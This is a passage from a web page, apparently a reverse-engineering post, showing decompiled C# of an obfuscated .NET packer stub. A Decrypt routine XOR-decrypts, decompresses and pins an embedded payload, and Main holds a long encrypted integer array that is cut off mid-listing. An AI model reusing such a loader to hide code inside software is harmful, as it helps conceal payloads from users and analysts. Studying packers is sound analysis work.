class="line">7625</span><br><span class="line">7626</span><br><span class="line">7627</span><br><span class="line">7628</span><br><span class="line">7629</span><br><span class="line">7630</span><br><span class="line">7631</span><br><span class="line">7632</span><br><span class="line">7633</span><br><span class="line">7634</span><br><span class="line">7635</span><br><span class="line">7636</span><br><span class="line">7637</span><br><span class="line">7638</span><br><span class="line">7639</span><br><span class="line">7640</span><br><span class="line">7641</span><br><span class="line">7642</span><br><span class="line">7643</span><br><span class="line">7644</span><br><span class="line">7645</span><br><span class="line">7646</span><br><span class="line">7647</span><br><span class="line">7648</span><br><span class="line">7649</span><br><span class="line">7650</span><br><span class="line">7651</span><br><span class="line">7652</span><br><span class="line">7653</span><br><span class="line">7654</span><br><span class="line">7655</span><br><span class="line">7656</span><br><span class="line">7657</span><br><span class="line">7658</span><br><span class="line">7659</span><br><span class="line">7660</span><br><span class="line">7661</span><br><span class="line">7662</span><br><span class="line">7663</span><br><span class="line">7664</span><br></pre></td><td class="code"><pre><span class="line">      </span><br><span class="line"><span class="keyword">using</span> System;</span><br><span class="line"><span class="keyword">using</span> System.IO;</span><br><span class="line"><span class="keyword">using</span> System.Reflection;</span><br><span class="line"><span class="keyword">using</span> System.Runtime.InteropServices;</span><br><span class="line"><span class="keyword">using</span> System.Text;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000001 RID: 1</span></span><br><span class="line"><span class="keyword">internal</span> <span class="keyword">class</span> &lt;<span class="title">Module</span>&gt;</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000001 RID: 1 RVA: 0x00008A88 File Offset: 0x00006C88</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> GCHandle <span class="title">Decrypt</span>(<span class="params"><span class="built_in">uint</span>[] A_0, <span class="built_in">uint</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span>[] array = <span class="keyword">new</span> <span class="built_in">uint</span>[<span class="number">16</span>];</span><br><span class="line"><span class="built_in">uint</span>[] array2 = <span class="keyword">new</span> <span class="built_in">uint</span>[<span class="number">16</span>];</span><br><span class="line"><span class="built_in">ulong</span> num = (<span class="built_in">ulong</span>)A_1;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="number">16</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">num = num * num % <span class="number">339722377U</span>L;</span><br><span class="line">array2[i] = (<span class="built_in">uint</span>)num;</span><br><span class="line">array[i] = (<span class="built_in">uint</span>)(num * num % <span class="number">1145919227U</span>L);</span><br><span class="line">&#125;</span><br><span class="line">array[<span class="number">0</span>] = (array[<span class="number">0</span>] * array2[<span class="number">0</span>] ^ <span class="number">3575996521U</span>);</span><br><span class="line">array[<span class="number">1</span>] = (array[<span class="number">1</span>] * array2[<span class="number">1</span>] ^ <span class="number">3575996521U</span>);</span><br><span class="line">array[<span class="number">2</span>] = (array[<span class="number">2</span>] + array2[<span class="number">2</span>]) * <span class="number">105751387U</span>;</span><br><span class="line">array[<span class="number">3</span>] = array[<span class="number">3</span>] * array2[<span class="number">3</span>] + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">4</span>] = (array[<span class="number">4</span>] ^ array2[<span class="number">4</span>]) + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">5</span>] = array[<span class="number">5</span>] * array2[<span class="number">5</span>] + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">6</span>] = (array[<span class="number">6</span>] ^ array2[<span class="number">6</span>] ^ <span class="number">3575996521U</span>);</span><br><span class="line">array[<span class="number">7</span>] = (array[<span class="number">7</span>] ^ array2[<span class="number">7</span>]) + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">8</span>] = (array[<span class="number">8</span>] ^ array2[<span class="number">8</span>]) + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">9</span>] = (array[<span class="number">9</span>] ^ array2[<span class="number">9</span>]) * <span class="number">105751387U</span>;</span><br><span class="line">array[<span class="number">10</span>] = (array[<span class="number">10</span>] + array2[<span class="number">10</span>]) * <span class="number">105751387U</span>;</span><br><span class="line">array[<span class="number">11</span>] = (array[<span class="number">11</span>] ^ array2[<span class="number">11</span>]) + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">12</span>] = (array[<span class="number">12</span>] ^ array2[<span class="number">12</span>] ^ <span class="number">3575996521U</span>);</span><br><span class="line">array[<span class="number">13</span>] = (array[<span class="number">13</span>] + array2[<span class="number">13</span>] ^ <span class="number">3575996521U</span>);</span><br><span class="line">array[<span class="number">14</span>] = array[<span class="number">14</span>] * array2[<span class="number">14</span>] + <span class="number">1392710451U</span>;</span><br><span class="line">array[<span class="number">15</span>] = array[<span class="number">15</span>] + array2[<span class="number">15</span>] + <span class="number">1392710451U</span>;</span><br><span class="line">Array.Clear(array2, <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line"><span class="built_in">byte</span>[] array3 = <span class="keyword">new</span> <span class="built_in">byte</span>[A_0.Length &lt;&lt; <span class="number">2</span>];</span><br><span class="line"><span class="built_in">uint</span> num2 = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> j = <span class="number">0</span>; j &lt; A_0.Length; j++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num3 = A_0[j] ^ array[j &amp; <span class="number">15</span>];</span><br><span class="line">array[j &amp; <span class="number">15</span>] = (array[j &amp; <span class="number">15</span>] ^ num3) + <span class="number">1037772825U</span>;</span><br><span class="line">array3[(<span class="built_in">int</span>)((UIntPtr)num2)] = (<span class="built_in">byte</span>)num3;</span><br><span class="line">array3[(<span class="built_in">int</span>)((UIntPtr)(num2 + <span class="number">1U</span>))] = (<span class="built_in">byte</span>)(num3 &gt;&gt; <span class="number">8</span>);</span><br><span class="line">array3[(<span class="built_in">int</span>)((UIntPtr)(num2 + <span class="number">2U</span>))] = (<span class="built_in">byte</span>)(num3 &gt;&gt; <span class="number">16</span>);</span><br><span class="line">array3[(<span class="built_in">int</span>)((UIntPtr)(num2 + <span class="number">3U</span>))] = (<span class="built_in">byte</span>)(num3 &gt;&gt; <span class="number">24</span>);</span><br><span class="line">num2 += <span class="number">4U</span>;</span><br><span class="line">&#125;</span><br><span class="line">Array.Clear(array, <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line"><span class="built_in">byte</span>[] array4 = &lt;Module&gt;.Decompress(array3);</span><br><span class="line">Array.Clear(array3, <span class="number">0</span>, array3.Length);</span><br><span class="line">GCHandle result = GCHandle.Alloc(array4, GCHandleType.Pinned);</span><br><span class="line"><span class="built_in">ulong</span> num4 = num % <span class="number">9067703U</span>L;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> k = <span class="number">0</span>; k &lt; array4.Length; k++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">byte</span>[] array5 = array4;</span><br><span class="line"><span class="built_in">int</span> num5 = k;</span><br><span class="line">array5[num5] ^= (<span class="built_in">byte</span>)num;</span><br><span class="line"><span class="keyword">if</span> ((k &amp; <span class="number">255</span>) == <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">num = num * num % <span class="number">9067703U</span>L;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000002 RID: 2 RVA: 0x00008CE4 File Offset: 0x00006EE4</span></span><br><span class="line">[<span class="meta">STAThread</span>]</span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="built_in">int</span> <span class="title">Main</span>(<span class="params"><span class="built_in">string</span>[] A_0</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span>[] array = <span class="keyword">new</span> <span class="built_in">uint</span>[]</span><br><span class="line">&#123;</span><br><span class="line"><span class="number">1537738865U</span>,</span><br><span class="line"><span class="number">1969713899U</span>,</span><br><span class="line"><span class="number">4121852243U</span>,</span><br><span class="line"><span class="number">1363007655U</span>,</span><br><span class="line"><span class="number">4111316938U</span>,</span><br><span class="line"><span class="number">1354601424U</span>,</span><br><span class="line"><span class="number">1438092873U</span>,</span><br><span class="line"><span class="number">1354540248U</span>,</span><br><span class="line"><span class="number">2735911677U</span>,</span><br><span class="line"><span class="number">1902455886U</span>,</span><br><span class="line"><span class="number">4078724745U</span>,</span><br><span class="line"><span class="number">520461837U</span>,</span><br><span class="line"><span class="number">1818794620U</span>,</span><br><span class="line"><span class="number">257151687U</span>,</span><br><span class="line"><span class="number">1973759206U</span>,</span><br><span class="line"><span class="number">2522003516U</span>,</span><br><span class="line"><span class="number">2621073312U</span>,</span><br><span class="line"><span class="number">2052851248U</span>,</span><br><span class="line"><span class="number">700296147U</span>,</span><br><span class="line"><span class="number">1003515706U</span>,</span><br><span class="line"><span class="number">1333525621U</span>,</span><br><span class="line"><span class="number">1514734063U</span>,</span><br><span class="line"><span class="number">2173319522U</span>,</span><br><span class="line"><span class="number">424792444U</span>,</span><br><span class="line"><span class="number">2947179972U</span>,</span><br><span class="line"><span class="number">1293258800U</span>,</span><br><span class="line"><span class="number">3703394482U</span>,</span><br><span class="line"><span class="number">924811239U</span>,</span><br><span class="line"><span class="number">1209129814U</span>,</span><br><span class="line"><span class="number">4285749643U</span>,</span><br><span class="line"><span class="number">2893793886U</span>,</span><br><span class="line"><span class="number">2636066642U</span>,</span><br><span class="line"><span class="number">851455001U</span>,</span><br><span class="line"><span class="number">1557375254U</span>,</span><br><span class="line"><span class="number">1504330198U</span>,</span><br><span class="line"><span class="number">440723795U</span>,</span><br><span class="line"><span class="number">783000484U</span>,</span><br><span class="line"><span class="number">3258579615U</span>,</span><br><span class="line"><span class="number">3950440797U</span>,</span><br><span class="line"><span class="number">4147844992U</span>,</span><br><span class="line"><span class="number">3004977408U</span>,</span><br><span class="line"><span class="number">2513854905U</span>,</span><br><span class="line"><span class="number">1741895555U</span>,</span><br><span class="line"><span class="number">457309823U</span>,</span><br><span class="line"><span class="number">2663989355U</span>,</span><br><span class="line"><span class="number">2172644867U</span>,</span><br><span class="line"><span class="number">2415979810U</span>,</span><br><span class="line"><span class="number">1107499389U</span>,</span><br><span class="line"><span class="number">1300321912U</span>,</span><br><span class="line"><span class="number">2970947374U</span>,</span><br><span class="line"><span class="number">2039901191U</span>,</span><br><span class="line"><span class="number">269063898U</span>,</span><br><span class="line"><span class="number">361165153U</span>,</span><br><span class="line"><span class="number">1267824670U</span>,</span><br><span class="line"><span class="number">1517613281U</span>,</span><br><span class="line"><span class="number">1982962928U</span>,</span><br><span class="line"><span class="number">1348529444U</span>,</span><br><span class="line"><span class="number">1311760932U</span>,</span><br><span class="line"><span class="number">1670266918U</span>,</span><br><span class="line"><span class="number">2843446061U</span>,</span><br><span class="line"><span class="number">3720577995U</span>,</span><br><span class="line"><span class="number">757627428U</span>,</span><br><span class="line"><span class="number">2032447269U</span>,</span><br><span class="line"><span class="number">3478746641U</span>,</span><br><span class="line"><span class="number">543499722U</span>,</span><br><span class="line"><span class="number">3496222120U</span>,</span><br><span class="line"><span class="number">3826520958U</span>,</span><br><span class="line"><span class="number">1104841279U</span>,</span><br><span class="line"><span class="number">94025879U</span>,</span><br><span class="line"><span class="number">317196849U</span>,</span><br><span class="line"><span class="number">158692895U</span>,</span><br><span class="line"><span class="number">2803847257U</span>,</span><br><span class="line"><span class="number">333537168U</span>,</span><br><span class="line"><span class="number">4243354845U</span>,</span><br><span class="line"><span class="number">1896015587U</span>,</span><br><span class="line"><span class="number">1926205481U</span>,</span><br><span class="line"><span class="number">1939943201U</span>,</span><br><span class="line"><span class="number">9219932U</span>,</span><br><span class="line"><span class="number">4168927748U</span>,</span><br><span class="line"><span class="number">801738412U</span>,</span><br><span class="line"><span class="number">3628850579U</span>,</span><br><span class="line"><span class="number">35694855U</span>,</span><br><span class="line"><span class="number">3729552488U</span>,</span><br><span class="line"><span class="number">3089421455U</span>,</span><br><span class="line"><span class="number">1356449062U</span>,</span><br><span class="line"><span class="number">4251230152U</span>,</span><br><span class="line"><span class="number">2148889253U</span>,</span><br><span class="line"><span class="number">482263044U</span>,</span><br><span class="line"><span class="number">1511193317U</span>,</span><br><span class="line"><span class="number">2758968831U</span>,</span><br><span class="line"><span class="number">1816739601U</span>,</span><br><span class="line"><span class="number">2717147101U</span>,</span><br><span class="line"><span class="number">4040994365U</span>,</span><br><span class="line"><span class="number">1144031584U</span>,</span><br><span class="line"><span class="number">633715304U</span>,</span><br><span class="line"><span class="number">3266390795U</span>,</span><br><span class="line"><span class="number">1907049294U</span>,</span><br><span class="line"><span class="number">823923606U</span>,</span><br><span class="line"><span class="number">4081704455U</span>,</span><br><span class="line"><span class="number">1083142132U</span>,</span><br><span class="line"><span class="number">814898671U</span>,</span><br><span class="line"><span class="number">3129624260U</span>,</span><br><span class="line"><span class="number">1807860925U</span>,</span><br><span class="line"><span class="number">1633379657U</span>,</span><br><span class="line"><span class="number">475505861U</span>,</span><br><span class="line"><span class="number">2202122732U</span>,</span><br><span class="line"><span class="number">1609543999U</span>,</span><br><span class="line"><span class="number">1230950279U</span>,</span><br><span class="line"><span class="number">3513428425U</span>,</span><br><span class="line"><span class="number">3977970554U</span>,</span><br><span class="line"><span class="number">2716859708U</span>,</span><br><span class="line"><span class="number">2637181158U</span>,</span><br><span class="line"><span class="number">2277407989U</span>,</span><br><span class="line"><span class="number">2180164332U</span>,</span><br><span class="line"><span class="number">650569983U</span>,</span><br><span class="line"><span class="number">675947776U</span>,</span><br><span class="line"><span class="number">3634980589U</span>,</span><br><span class="line"><span class="number">425269305U</span>,</span><br><span class="line"><span class="number">3383324479U</span>,</span><br><span class="line"><span class="number">3492679244U</span>,</span><br><span class="line"><span class="number">3217104253U</span>,</span><br><span class="line"><span class="number">20271279U</span>,</span><br><span class="line"><span class="number">3591028349U</span>,</span><br><span class="line"><span class="number">3077180021U</span>,</span><br><span class="line"><span class="number">2226683726U</span>,</span><br><span class="line"><span class="number">2724629579U</span>,</span><br><span class="line"><span class="number">1586499589U</span>,</span><br><span class="line"><span class="number">2813079189U</span>,</span><br><span class="line"><span class="number">3353953861U</span>,</span><br><span class="line"><span class="number">1475948071U</span>,</span><br><span class="line"><span class="number">2034526662U</span>,</span><br><span class="line"><span class="number">276948815U</span>,</span><br><span class="line"><span class="number">2385983041U</span>,</span><br><span class="line"><span class="number">2402358230U</span>,</span><br><span class="line"><span class="number">3149933335U</span>,</span><br><span class="line"><span class="number">1885438814U</span>,</span><br><span class="line"><span class="number">983850256U</span>,</span><br><span class="line"><span class="number">564181982U</span>,</span><br><span class="line"><span class="number">1641982617U</span>,</span><br><span class="line"><span class="number">1112750498U</span>,</span><br><span class="line"><span class="number">2937523006U</span>,</span><br><span class="line"><span class="number">1469088991U</span>,</span><br><span class="line"><span class="number">627126841U</span>,</span><br><span class="line"><span class="number">3996202256U</span>,</span><br><span class="line"><span class="number">2259587460U</span>,</span><br><span class="line"><span class="number">996806736U</span>,</span><br><span class="line"><span class="number">2676647517U</span>,</span><br><span class="line"><span class="number">2438677955U</span>,</span><br><span class="line"><span class="number">1540948789U</span>,</span><br><span class="line"><span class="number">3254980559U</span>,</span><br><span class="line"><span class="number">1575834829U</span>,</span><br><span class="line"><span class="number">2564836590U</span>,</span><br><span class="line"><span class="number">1310854701U</span>,</span><br><span class="line"><span class="number">385667404U</span>,</span><br><span class="line"><span class="number">1651480338U</span>,</span><br><span class="line"><span class="number">3418939410U</span>,</span><br><span class="line"><span class="number">935000706U</span>,</span><br><span class="line"><span class="number">4171355745U</span>,</span><br><span class="line"><span class="number">3441987223U</span>,</span><br><span class="line"><span class="number">405454644U</span>,</span><br><span class="line"><span class="number">972481757U</span>,</span><br><span class="line"><span class="number">3953831287U</span>,</span><br><span class="line"><span class="number">1465885578U</span>,</span><br><span class="line"><span class="number">3796294345U</span>,</span><br><span class="line"><span class="number">2426861145U</span>,</span><br><span class="line"><span class="number">2637066688U</span>,</span><br><span class="line"><span class="number">2856251673U</span>,</span><br><span class="line"><span class="number">1588409098U</span>,</span><br><span class="line"><span class="number">77409825U</span>,</span><br><span class="line"><span class="number">2478204622U</span>,</span><br><span class="line"><span class="number">3812156764U</span>,</span><br><span class="line"><span class="number">1064570303U</span>,</span><br><span class="line"><span class="number">622223609U</span>,</span><br><span class="line"><span class="number">1924888936U</span>,</span><br><span class="line"><span class="number">3554542037U</span>,</span><br><span class="line"><span class="number">893068089U</span>,</span><br><span class="line"><span class="number">1483986021U</span>,</span><br><span class="line"><span class="number">2593528521U</span>,</span><br><span class="line"><span class="number">749203288U</span>,</span><br><span class="line"><span class="number">1393894157U</span>,</span><br><span class="line"><span class="number">1215297184U</span>,</span><br><span class="line"><span class="number">3362179274U</span>,</span><br><span class="line"><span class="number">2718476842U</span>,</span><br><span class="line"><span class="number">3208327151U</span>,</span><br><span class="line"><span class="number">94102635U</span>,</span><br><span class="line"><span class="number">1277815706U</span>,</span><br><span class="line"><span class="number">3444573396U</span>,</span><br><span class="line"><span class="number">3503731219U</span>,</span><br><span class="line"><span class="number">3326343731U</span>,</span><br><span class="line"><span class="number">3648639734U</span>,</span><br><span class="line"><span class="number">3703683942U</span>,</span><br><span class="line"><span class="number">3374921006U</span>,</span><br><span class="line"><span class="number">1043717242U</span>,</span><br><span class="line"><span class="number">3650883060U</span>,</span><br><span class="line"><span class="number">1392270619U</span>,</span><br><span class="line"><span class="number">469758847U</span>,</span><br><span class="line"><span class="number">2949305937U</span>,</span><br><span class="line"><span class="number">1788192022U</span>,</span><br><span class="line"><span class="number">278063185U</span>,</span><br><span class="line"><span class="number">837323114U</span>,</span><br><span class="line"><span class="number">3829346575U</span>,</span><br><span class="line"><span class="number">1005599432U</span>,</span><br><span class="line"><span class="number">1574186032U</span>,</span><br><span class="line"><span class="number">2644837940U</span>,</span><br><span class="line"><span class="number">4040593720U</span>,</span><br><span class="line"><span class="number">3104759267U</span>,</span><br><span class="line"><span class="number">1282461194U</span>,</span><br><span class="line"><span class="number">1521319983U</span>,</span><br><span class="line"><span class="number">2028227836U</span>,</span><br><span class="line"><span class="number">2604602757U</span>,</span><br><span class="line"><span class="number">713016361U</span>,</span><br><span class="line"><span class="number">2551254913U</span>,</span><br><span class="line"><span class="number">2457488405U</span>,</span><br><span class="line"><span class="number">1724472847U</span>,</span><br><span class="line"><span class="number">3914457692U</span>,</span><br><span class="line"><span class="number">2719813673U</span>,</span><br><span class="line"><span class="number">27192802U</span>,</span><br><span class="line"><span class="number">1470567397U</span>,</span><br><span class="line"><span class="number">3394165083U</span>,</span><br><span class="line"><span class="number">1007923785U</span>,</span><br><span class="line"><span class="number">3138988482U</span>,</span><br><span class="line"><span class="number">2577742520U</span>,</span><br><span class="line"><span class="number">58372657U</span>,</span><br><span class="line"><span class="number">3620956474U</span>,</span><br><span class="line"><span class="number">1913799228U</span>,</span><br><span class="line"><span class="number">3394210737U</span>,</span><br><span class="line"><span class="number">646305223U</span>,</span><br><span class="line"><span class="number">359850450U</span>,</span><br><span class="line"><span class="number">1034765942U</span>,</span><br><span class="line"><span class="number">1837702724U</span>,</span><br><span class="line"><span class="number">3009724247U</span>,</span><br><span class="line"><span class="number">2174202813U</span>,</span><br><span class="line"><span class="number">1992706173U</span>,</span><br><span class="line"><span class="number">3731699372U</span>,</span><br><span class="line"><span class="number">3862402829U</span>,</span><br><span class="line"><span class="number">4096166841U</span>,</span><br><span class="line"><span class="number">3986169057U</span>,</span><br><span class="line"><span class="number">923546490U</span>,</span><br><span class="line"><span class="number">438180424U</span>,</span><br><span class="line"><span class="number">1544448909U</span>,</span><br><span class="line"><span class="number">4023338538U</span>,</span><br><span class="line"><span class="number">1023104917U</span>,</span><br><span class="line"><span class="number">15021614U</span>,</span><br><span class="line"><span class="number">2639082781U</span>,</span><br><span class="line"><span class="number">4107914742U</span>,</span><br><span class="line"><span class="number">4157658158U</span>,</span><br><span class="line"><span class="number">2565578723U</span>,</span><br><span class="line"><span class="number">4072617281U</span>,</span><br><span class="line"><span class="number">3733074321U</span>,</span><br><span class="line"><span class="number">108768119U</span>,</span><br><span class="line"><span class="number">694515824U</span>,</span><br><span class="line"><span class="number">3737802405U</span>,</span><br><span class="line"><span class="number">2463943666U</span>,</span><br><span class="line"><span class="number">2708516273U</span>,</span><br><span class="line"><span class="number">1971213894U</span>,</span><br><span class="line"><span class="number">2653712958U</span>,</span><br><span class="line"><span class="number">338995387U</span>,</span><br><span class="line"><span class="number">1643473621U</span>,</span><br><span class="line"><span class="number">2357318157U</span>,</span><br><span class="line"><span class="number">2474541014U</span>,</span><br><span class="line"><span class="number">3857593041U</span>,</span><br><span class="line"><span class="number">2249999007U</span>,</span><br><span class="line"><span class="number">3147694507U</span>,</span><br><span class="line"><span class="number">3863804524U</span>,</span><br><span class="line"><span class="number">809773071U</span>,</span><br><span class="line"><span class="number">903053992U</span>,</span><br><span class="line"><span class="number">506378288U</span>,</span><br><span class="line"><span class="number">1160542709U</span>,</span><br><span class="line"><span class="number">1333725227U</span>,</span><br><span class="line"><span class="number">690632168U</span>,</span><br><span class="line"><span class="number">710569709U</span>,</span><br><span class="line"><span class="number">3263854979U</span>,</span><br><span class="line"><span class="number">1945470342U</span>,</span><br><span class="line"><span class="number">1376601486U</span>,</span><br><span class="line"><span class="number">714680310U</span>,</span><br><span class="line"><span class="number">3010181686U</span>,</span><br><span class="line"><span class="number">1690620473U</span>,</span><br><span class="line"><span class="number">719122251U</span>,</span><br><span class="line"><span class="number">1077760300U</span>,</span><br><span class="line"><span class="number">3160533372U</span>,</span><br><span class="line"><span class="number">1053520043U</span>,</span><br><span class="line"><span class="number">2556792223U</span>,</span><br><span class="line"><span class="number">481650493U</span>,</span><br><span class="line"><span class="number">3808107470U</span>,</span><br><span class="line"><span class="number">3472110396U</span>,</span><br><span class="line"><span class="number">2038428182U</span>,</span><br><span class="line"><span class="number">3179405624U</span>,</span><br><span class="line"><span class="number">3296641743U</span>,</span><br><span class="line"><span class="number">4236542496U</span>,</span><br><span class="line"><span class="number">1449925600U</span>,</span><br><span class="line"><span class="number">3706722240U</span>,</span><br><span class="line"><span class="number">1453126340U</span>,</span><br><span class="line"><span class="number">1586012380U</span>,</span><br><span class="line"><span class="number">2341111504U</span>,</span><br><span class="line"><span class="number">1564084467U</span>,</span><br><span class="line"><span class="number">399106871U</span>,</span><br><span class="line"><span class="number">3359130203U</span>,</span><br><span class="line"><span class="number">687172874U</span>,</span><br><span class="line"><span class="number">3810872337U</span>,</span><br><span class="line"><span class="number">272831905U</span>,</span><br><span class="line"><span class="number">223862487U</span>,</span><br><span class="line"><span class="number">915626651U</span>,</span><br><span class="line"><span class="number">1512179683U</span>,</span><br><span class="line"><span class="number">3347807833U</span>,</span><br><span class="line"><span class="number">3059583408U</span>,</span><br><span class="line"><span class="number">3353840800U</span>,</span><br><span class="line"><span class="number">4099853287U</span>,</span><br><span class="line"><span class="number">3234205960U</span>,</span><br><span class="line"><span class="number">2983718248U</span>,</span><br><span class="line"><span class="number">366463252U</span>,</span><br><span class="line"><span class="number">711509499U</span>,</span><br><span class="line"><span class="number">3325334570U</span>,</span><br><span class="line"><span class="number">1431018142U</span>,</span><br><span class="line"><span class="number">4216120169U</span>,</span><br><span class="line"><span class="number">2511593968U</span>,</span><br><span class="line"><span class="number">3543684883U</span>,</span><br><span class="line"><span class="number">3523064096U</span>,</span><br><span class="line"><span class="number">106357350U</span>,</span><br><span class="line"><span class="number">3810246630U</span>,</span><br><span class="line"><span class="number">2335099899U</span>,</span><br><span class="line"><span class="number">3424059021U</span>,</span><br><span class="line"><span class="number">3898568265U</span>,</span><br><span class="line"><span class="number">858015779U</span>,</span><br><span class="line"><span class="number">3082705723U</span>,</span><br><span class="line"><span class="number">761140972U</span>,</span><br><span class="line"><span class="number">1124861865U</span>,</span><br><span class="line"><span class="number">93396534U</span>,</span><br><span class="line"><span class="number">2335507490U</span>,</span><br><span class="line"><span class="number">242246325U</span>,</span><br><span class="line"><span class="number">3177033269U</span>,</span><br><span class="line"><span class="number">4123492040U</span>,</span><br><span class="line"><span class="number">996988269U</span>,</span><br><span class="line"><span class="number">3262888243U</span>,</span><br><span class="line"><span class="number">2832472585U</span>,</span><br><span class="line"><span class="number">645184668U</span>,</span><br><span class="line"><span class="number">583719923U</span>,</span><br><span class="line"><span class="number">3689867782U</span>,</span><br><span class="line"><span class="number">1309116934U</span>,</span><br><span class="line"><span class="number">2699977347U</span>,</span><br><span class="line"><span class="number">2161670666U</span>,</span><br><span class="line"><span class="number">2154333793U</span>,</span><br><span class="line"><span class="number">2891035169U</span>,</span><br><span class="line"><span class="number">366557302U</span>,</span><br><span class="line"><span class="number">2155549952U</span>,</span><br><span class="line"><span class="number">2260688556U</span>,</span><br><span class="line"><span class="number">868124210U</span>,</span><br><span class="line"><span class="number">651443282U</span>,</span><br><span class="line"><span class="number">2204797118U</span>,</span><br><span class="line"><span class="number">2096852990U</span>,</span><br><span class="line"><span class="number">1347528846U</span>,</span><br><span class="line"><span class="number">2983303797U</span>,</span><br><span class="line"><span class="number">1733571206U</span>,</span><br><span class="line"><span class="number">1788382482U</span>,</span><br><span class="line"><span class="number">2011501623U</span>,</span><br><span class="line"><span class="number">1140748785U</span>,</span><br><span class="line"><span class="number">3567318016U</span>,</span><br><span class="line"><span class="number">3181901443U</span>,</span><br><span class="line"><span class="number">2263794374U</span>,</span><br><span class="line"><span class="number">2494783289U</span>,</span><br><span class="line"><span class="number">94134265U</span>,</span><br><span class="line"><span class="number">3444198375U</span>,</span><br><span class="line"><span class="number">2937817832U</span>,</span><br><span class="line"><span class="number">3054022221U</span>,</span><br><span class="line"><span class="number">2619624955U</span>,</span><br><span class="line"><span class="number">2212348728U</span>,</span><br><span class="line"><span class="number">696562584U</span>,</span><br><span class="line"><span class="number">74960501U</span>,</span><br><span class="line"><span class="number">1240475346U</span>,</span><br><span class="line"><span class="number">1213448443U</span>,</span><br><span class="line"><span class="number">990552405U</span>,</span><br><span class="line"><span class="number">4057985421U</span>,</span><br><span class="line"><span class="number">2269474968U</span>,</span><br><span class="line"><span class="number">2136462033U</span>,</span><br><span class="line"><span class="number">642682980U</span>,</span><br><span class="line"><span class="number">2900892141U</span>,</span><br><span class="line"><span class="number">3652636260U</span>,</span><br><span class="line"><span class="number">172874525U</span>,</span><br><span class="line"><span class="number">3817343196U</span>,</span><br><span class="line"><span class="number">840758172U</span>,</span><br><span class="line"><span class="number">749155114U</span>,</span><br><span class="line"><span class="number">2696614550U</span>,</span><br><span class="line"><span class="number">3894951071U</span>,</span><br><span class="line"><span class="number">2618095853U</span>,</span><br><span class="line"><span class="number">755884299U</span>,</span><br><span class="line"><span class="number">2244452085U</span>,</span><br><span class="line"><span class="number">3227881484U</span>,</span><br><span class="line"><span class="number">3076805464U</span>,</span><br><span class="line"><span class="number">120345728U</span>,</span><br><span class="line"><span class="number">3398943682U</span>,</span><br><span class="line"><span class="number">3484427667U</span>,</span><br><span class="line"><span class="number">3123993150U</span>,</span><br><span class="line"><span class="number">2880398283U</span>,</span><br><span class="line"><span class="number">3712006148U</span>,</span><br><span class="line"><span class="number">2755176670U</span>,</span><br><span class="line"><span class="number">1029723198U</span>,</span><br><span class="line"><span class="number">2461383727U</span>,</span><br><span class="line"><span class="number">3360439458U</span>,</span><br><span class="line"><span class="number">4101802551U</span>,</span><br><span class="line"><span class="number">1033676457U</span>,</span><br><span class="line"><span class="number">451906606U</span>,</span><br><span class="line"><span class="number">3784387662U</span>,</span><br><span class="line"><span class="number">943215268U</span>,</span><br><span class="line"><span class="number">2003214157U</span>,</span><br><span class="line"><span class="number">2339009917U</span>,</span><br><span class="line"><span class="number">2317427899U</span>,</span><br><span class="line"><span class="number">3510652702U</span>,</span><br><span class="line"><span class="number">2947211111U</span>,</span><br><span class="line"><span class="number">3934683126U</span>,</span><br><span class="line"><span class="number">3945689594U</span>,</span><br><span class="line"><span class="number">1633245552U</span>,</span><br><span class="line"><span class="number">4037043161U</span>,</span><br><span class="line"><span class="number">614873526U</span>,</span><br><span class="line"><span class="number">2903408465U</span>,</span><br><span class="line"><span class="number">2886965126U</span>,</span><br><span class="line"><span class="number">2566297661U</span>,</span><br><span class="line"><span class="number">1561791950U</span>,</span><br><span class="line"><span class="number">924836668U</span>,</span><br><span class="line"><span class="number">2686438740U</span>,</span><br><span class="line"><span class="number">1846466565U</span>,</span><br><span class="line"><span class="number">3972781041U</span>,</span><br><span class="line"><span class="number">247225058U</span>,</span><br><span class="line"><span class="number">3011773442U</span>,</span><br><span class="line"><span class="number">2422828403U</span>,</span><br><span class="line"><span class="number">1833782168U</span>,</span><br><span class="line"><span class="number">1810548391U</span>,</span><br><span class="line"><span class="number">2897745874U</span>,</span><br><span class="line"><span class="number">2348654271U</span>,</span><br><span class="line"><span class="number">3803855476U</span>,</span><br><span class="line"><span class="number">3965689741U</span>,</span><br><span class="line"><span class="number">42483303U</span>,</span><br><span class="line"><span class="number">3916509912U</span>,</span><br><span class="line"><span class="number">3329230433U</span>,</span><br><span class="line"><span class="number">320480329U</span>,</span><br><span class="line"><span class="number">2230977206U</span>,</span><br><span class="line"><span class="number">54020580U</span>,</span><br><span class="line"><span class="number">26547081U</span>,</span><br><span class="line"><span class="number">990508761U</span>,</span><br><span class="line"><span class="number">2255533511U</span>,</span><br><span class="line"><span class="number">2923477945U</span>,</span><br><span class="line"><span class="number">1612423326U</span>,</span><br><span class="line"><span class="number">1467730186U</span>,</span><br><span class="line"><span class="number">3639812397U</span>,</span><br><span class="line"><span class="number">1305532969U</span>,</span><br><span class="line"><span 